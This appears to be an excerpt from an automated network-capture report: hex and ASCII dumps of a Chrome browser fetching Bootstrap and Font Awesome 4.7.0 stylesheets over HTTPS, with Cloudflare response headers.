3e 61 2c 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 6f 70 65 6e 20 2e 64 
72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 3e 2e 64 69 73 61 62 6c 65 64 3e 
Data Ascii: en .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover
{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse 
.navbar-nav .open .dropdown-menu>.disabled>

2022-07-01 09:00:49 UTC 801 IN Data Raw: 63 6f 6c 6f 72 3a 23 33 31 62 30 64 35 7d 2e 6c 61 62 65 6c 2d 77 61 72 6e 69 6e 67 7b 62 61 63 6b 67 72 6f 
75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 30 61 64 34 65 7d 2e 6c 61 62 65 6c 2d 77 61 72 6e 69 6e 67 5b 68 72 65 66 5d 3a 
66 6f 63 75 73 2c 2e 6c 61 62 65 6c 2d 77 61 72 6e 69 6e 67 5b 68 72 65 66 5d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 
75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 63 39 37 31 66 7d 2e 6c 61 62 65 6c 2d 64 61 6e 67 65 72 7b 62 61 63 6b 67 72 6f 75 
6e 64 2d 63 6f 6c 6f 72 3a 23 64 39 35 33 34 66 7d 2e 6c 61 62 65 6c 2d 64 61 6e 67 65 72 5b 68 72 65 66 5d 3a 66 6f 
63 75 73 2c 2e 6c 61 62 65 6c 2d 64 61 6e 67 65 72 5b 68 72 65 66 5d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 6
4 2d 63 6f 6c 6f 72 3a 23 63 39 33 30 32 63 7d 2e 62 61 64 67 65 
Data Ascii: color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{
background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:
hover{background-color:#c9302c}.badge

2022-07-01 09:00:49 UTC 806 IN Data Raw: 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 
35 29 20 35 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 35 29 20 37 35 25 2c 74 72 61 6e 73 70 
61 72 65 6e 74 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 
6e 64 2d 73 69 7a 65 3a 34 30 70 78 20 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 34 30 70 78 20 
34 30 70 78 7d 2e 70 72 6f 67 72 65 73 73 2d 62 61 72 2e 61 63 74 69 76 65 2c 2e 70 72 6f 67 72 65 73 73 2e 61 63 74 
69 76 65 20 2e 70 72 6f 67 72 65 73 73 2d 62 61 72 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 70 72 6f 
67 72 65 73 73 2d 62 61 72 2d 73 74 72 69 70 65 73 20 32 73 20 6c 69 6e 65 
Data Ascii: transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-
webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-
webkit-animation:progress-bar-stripes 2s line

2022-07-01 09:00:49 UTC 810 IN Data Raw: 61 62 6c 65 64 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 
6f 77 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 
74 65 6d 2e 64 69 73 61 62 6c 65 64 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 2c 2e 
6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 20 2e 6c 69 73 74 2d 67 72 6f 
75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 2c 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 
65 64 3a 68 6f 76 65 72 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 7b 63 6f 6c 6f 72 3a 
69 6e 68 65 72 69 74 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 
Data Ascii: abled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-h
eading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading
{color:inherit}.list-group-

2022-07-01 09:00:49 UTC 814 IN Data Raw: 74 74 6f 6d 3a 32 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 
65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 
34 70 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 30 
2c 30 2c 30 2c 2e 30 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 30 2c 30 2
c 30 2c 2e 30 35 29 7d 2e 70 61 6e 65 6c 2d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 2e 70 61 6e 65 6c 2d 
68 65 61 64 69 6e 67 7b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 35 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 
3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 
Data Ascii: ttom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px 
rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px
;border-bottom:1px solid transparent;

2022-07-01 09:00:49 UTC 817 IN Data Raw: 35 64 38 63 0d 0a 72 73 74 2d 63 68 69 6c 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 74 68 3a 6c 
61 73 74 2d 63 68 69 6c 64 2c 2e 70 61 6e 65 6c 3e 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3a 66 69 72 73 
74 2d 63 68 69 6c 64 3e 2e 74 61 62 6c 65 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 65 61 64 3a 66 69 72 73 74 2d 
63 68 69 6c 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 74 64 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 2e 70 61 6e 
65 6c 3e 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 2e 74 61 62 6c 65 
3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 65 61 64 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 72 3a 66 69 72 73 74 
2d 63 68 69 6c 64 20 74 68 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 2e 70 61 6e 
Data Ascii: 5d8crst-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>t
r:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.pan
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2022-07-01 09:00:49 UTC 821 IN Data Raw: 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 3e 74 62 6f 64 79 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 
74 68 2c 2e 70 61 6e 65 6c 3e 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 3e 74 68 65 61 64 3e 74 72 3a 66 69 72 73 
74 2d 63 68 69 6c 64 3e 74 64 2c 2e 70 61 6e 65 6c 3e 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 3e 74 68 65 61 64 
3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 2c 2e 70 61 6e 65 6c 3e 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 7
3 69 76 65 3e 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 3e 74 62 6f 64 79 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 
64 3e 74 64 2c 2e 70 61 6e 65 6c 3e 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 2d 62 6f 
72 64 65 72 65 64 3e 74 62 6f 64 79 3e 74 72 3a 66 69 72 73 74 2d 63 
Data Ascii: table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered
>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-
bordered>tbody>tr:first-c

2022-07-01 09:00:49 UTC 825 IN Data Raw: 2e 77 65 6c 6c 2d 73 6d 7b 70 61 64 64 69 6e 67 3a 39 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 
70 78 7d 2e 63 6c 6f 73 65 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 31 70 78 3b 66 6f 6e 
74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 74 
65 78 74 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 30 20 23 66 66 66 3b 66 69 6c 74 65 72 3a 61 6c 70 68 61 28 6f 70 
61 63 69 74 79 3d 32 30 29 3b 6f 70 61 63 69 74 79 3a 2e 32 7d 2e 63 6c 6f 73 65 3a 66 6f 63 75 73 2c 2e 63 6c 6f 73 65 
3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 
75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 66 69 6c 74 65 72 3a 
Data Ascii: .well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color
:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:
none;cursor:pointer;filter:

2022-07-01 09:00:49 UTC 829 IN Data Raw: 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 
34 32 38 35 37 31 34 33 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 73 74 61 
72 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 
3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 6e 6f 72 6d 
61 6c 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 3b 77 6f 72 64 2d 73 70 61 63 69 6e 67 3a 6e 6f 72 6d 61 6c 
3b 77 6f 72 64 2d 77 72 61 70 3a 6e 6f 72 6d 61 6c 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 62 61 63 
6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 2d 
Data Ascii: ormal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shad
ow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-
space:normal;background-color:#fff;-

2022-07-01 09:00:49 UTC 833 IN Data Raw: 69 67 68 74 7b 72 69 67 68 74 3a 30 3b 6c 65 66 74 3a 61 75 74 6f 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 
61 67 65 3a 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6c 65 66 74 2c 72 67 62 61 28 30 
2c 30 2c 30 2c 2e 30 30 30 31 29 20 30 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 20 31 30 30 25 29 3b 62 61 63 6b 
67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6c 65 66 74 2c 72 67 6
2 61 28 30 2c 30 2c 30 2c 2e 30 30 30 31 29 20 30 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 20 31 30 30 25 29 3b 62 
61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 6e 74 28 6c 69 6e 65 61 72 
2c 6c 65 66 74 20 74 6f 70 2c 72 69 67 68 74 20 74 6f 70 2c 66 72 6f 
Data Ascii: ight{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%
);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(li
near,left top,right top,fro

2022-07-01 09:00:49 UTC 838 IN Data Raw: 78 29 7b 2e 76 69 73 69 62 6c 65 2d 78 73 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 
6e 74 7d 74 61 62 6c 65 2e 76 69 73 69 62 6c 65 2d 78 73 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 21 69 6d 70 6f 72 
74 61 6e 74 7d 74 72 2e 76 69 73 69 62 6c 65 2d 78 73 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 72 6f 77 21 69 6d 
70 6f 72 74 61 6e 74 7d 74 64 2e 76 69 73 69 62 6c 65 2d 78 73 2c 74 68 2e 76 69 73 69 62 6c 65 2d 78 73 7b 64 69 73 7
0 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 
69 64 74 68 3a 37 36 37 70 78 29 7b 2e 76 69 73 69 62 6c 65 2d 78 73 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 62 
6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 
Data Ascii: x){.visible-xs{display:block!important}table.visible-xs{display:table!important}tr.visible-xs{display:table-
row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{displ
ay:block!important}}@media 

2022-07-01 09:00:49 UTC 840 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

45 104.17.25.14 443 192.168.2.5 49786 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:49 UTC 694 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 09:00:49 GMT
Content-Type: text/css; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb03e5f-9226"
Last-Modified: Mon, 04 May 2020 16:10:07 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT
Age: 876745
Expires: Wed, 21 Jun 2023 09:00:49 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=W3RKMdJAIeA8DQeGafo20e8S0Rb2H%2F
Grqpwr28Itv9mAsHDue0ws1RnRdL2QiPPZVNLfciMK5oH2m%2BktRMuBBxLezfGGcUw6BmN3Oll5P2mggx335XUCBZ
ifiKWDh%2FxLI5IXMyl1"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 723df417ec9d9261-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-07-01 09:00:49 UTC 696 IN Data Raw: 37 62 62 31 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 
40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 
6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 
6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 
49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 
6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 41 77 65 73 
Data Ascii: 7bb1/*! *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome *  License - ht
tp://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) *//* FONT PATH * -------------------------- */@font-face {  
font-family: 'FontAwes

2022-07-01 09:00:49 UTC 698 IN Data Raw: 2e 65 6f 74 3f 76 3d 34 2e 37 2e 30 27 29 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 
2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 65 6f 74 3f 23 69 65 66 69 78 26 76 3d 34 2e 37 2e 30 27 
29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 
6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 32 3f 76 3d 34 2e 37 2e 30 27 29 
20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 
6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 
29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 
Data Ascii: .eot?v=4.7.0');  src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), ur
l('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format
('woff'), url('../fonts/fo

2022-07-01 09:00:49 UTC 699 IN Data Raw: 6c 65 66 74 3b 0a 7d 0a 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 
67 68 74 3b 0a 7d 0a 2e 66 61 2e 66 61 2d 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 
74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 6d 61 72 67 69 6e 
2d 6c 65 66 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2f 2a 20 44 65 70 72 65 63 61 74 65 64 20 61 73 20 6f 66 20 34 2e 34 2e 3
0 20 2a 2f 0a 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 70 75 
6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 6c 65 66 
74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2e 33 65 
Data Ascii: left;}.fa-pull-right {  float: right;}.fa.fa-pull-left {  margin-right: .3em;}.fa.fa-pull-right {  margin-left: .3em;}/* 
Deprecated as of 4.4.0 */.pull-right {  float: right;}.pull-left {  float: left;}.fa.pull-left {  margin-right: .3e

2022-07-01 09:00:49 UTC 703 IN Data Raw: 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 32 37 30 64 65 67 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 
6f 72 6d 3a 20 72 6f 74 61 74 65 28 32 37 30 64 65 67 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 
28 32 37 30 64 65 67 29 3b 0a 7d 0a 2e 66 61 2d 66 6c 69 70 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 7b 0a 20 20 2d 6d 73 
2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 
73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 30 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 0a 
20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 2d 6d 
73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 
Data Ascii: nsform: rotate(270deg);  -ms-transform: rotate(270deg);  transform: rotate(270deg);}.fa-flip-horizontal {  -ms-
filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";  -webkit-transform: scale(-1, 1);  -ms-
transform: scale(-1,

2022-07-01 09:00:49 UTC 706 IN Data Raw: 74 61 72 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 36 22 3b 0a 7d 
0a 2e 66 61 2d 75 73 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 37 22 3b 0a 
7d 0a 2e 66 61 2d 66 69 6c 6d 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 38 22 3b 
0a 7d 0a 2e 66 61 2d 74 68 2d 6c 61 72 67 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 3
0 30 39 22 3b 0a 7d 0a 2e 66 61 2d 74 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 
61 22 3b 0a 7d 0a 2e 66 61 2d 74 68 2d 6c 69 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 
5c 66 30 30 62 22 3b 0a 7d 0a 2e 66 61 2d 63 68 65 63 6b 3a 62 65 66 
Data Ascii: tar-o:before {  content: "\f006";}.fa-user:before {  content: "\f007";}.fa-film:before {  content: "\f008";}.fa-th-lar
ge:before {  content: "\f009";}.fa-th:before {  content: "\f00a";}.fa-th-list:before {  content: "\f00b";}.fa-check:bef

2022-07-01 09:00:49 UTC 709 IN Data Raw: 36 22 3b 0a 7d 0a 2e 66 61 2d 76 6f 6c 75 6d 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
74 65 6e 74 3a 20 22 5c 66 30 32 37 22 3b 0a 7d 0a 2e 66 61 2d 76 6f 6c 75 6d 65 2d 75 70 3a 62 65 66 6f 72 65 20 7b 
0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 38 22 3b 0a 7d 0a 2e 66 61 2d 71 72 63 6f 64 65 3a 62 65 66 6f 72 65 
20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 72 63 6f 64 65 3a 62 65 
66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 61 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 3a 62 65 6
6 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 62 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 73 3a 62 65 
66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 
Data Ascii: 6";}.fa-volume-down:before {  content: "\f027";}.fa-volume-up:before {  content: "\f028";}.fa-qrcode:before {  
content: "\f029";}.fa-barcode:before {  content: "\f02a";}.fa-tag:before {  content: "\f02b";}.fa-tags:before {  content: "\f0

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:49 UTC 711 IN Data Raw: 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 35 22 3b 0a 7d 0a 2e 66 61 2d 63 68 65 63 6b 2d 
73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 36 22 3b 0a 7d 
0a 2e 66 61 2d 61 72 72 6f 77 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 37 22 
3b 0a 7d 0a 2e 66 61 2d 73 74 65 70 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 7
4 3a 20 22 5c 66 30 34 38 22 3b 0a 7d 0a 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 
7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 
66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 61 
Data Ascii: e {  content: "\f045";}.fa-check-square-o:before {  content: "\f046";}.fa-arrows:before {  content: "\f047";}.fa-
step-backward:before {  content: "\f048";}.fa-fast-backward:before {  content: "\f049";}.fa-backward:before {  content: "\f04a

2022-07-01 09:00:49 UTC 714 IN Data Raw: 20 22 5c 66 30 36 34 22 3b 0a 7d 0a 2e 66 61 2d 65 78 70 61 6e 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 
6e 74 65 6e 74 3a 20 22 5c 66 30 36 35 22 3b 0a 7d 0a 2e 66 61 2d 63 6f 6d 70 72 65 73 73 3a 62 65 66 6f 72 65 20 7b 
0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 36 22 3b 0a 7d 0a 2e 66 61 2d 70 6c 75 73 3a 62 65 66 6f 72 65 20 
7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 37 22 3b 0a 7d 0a 2e 66 61 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 6
5 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 38 22 3b 0a 7d 0a 2e 66 61 2d 61 73 74 65 72 69 73 6b 3a 
62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 39 22 3b 0a 7d 0a 2e 66 61 2d 65 78 63 6c 
61 6d 61 74 69 6f 6e 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 
Data Ascii:  "\f064";}.fa-expand:before {  content: "\f065";}.fa-compress:before {  content: "\f066";}.fa-plus:before {  content: 
"\f067";}.fa-minus:before {  content: "\f068";}.fa-asterisk:before {  content: "\f069";}.fa-exclamation-circle:before {

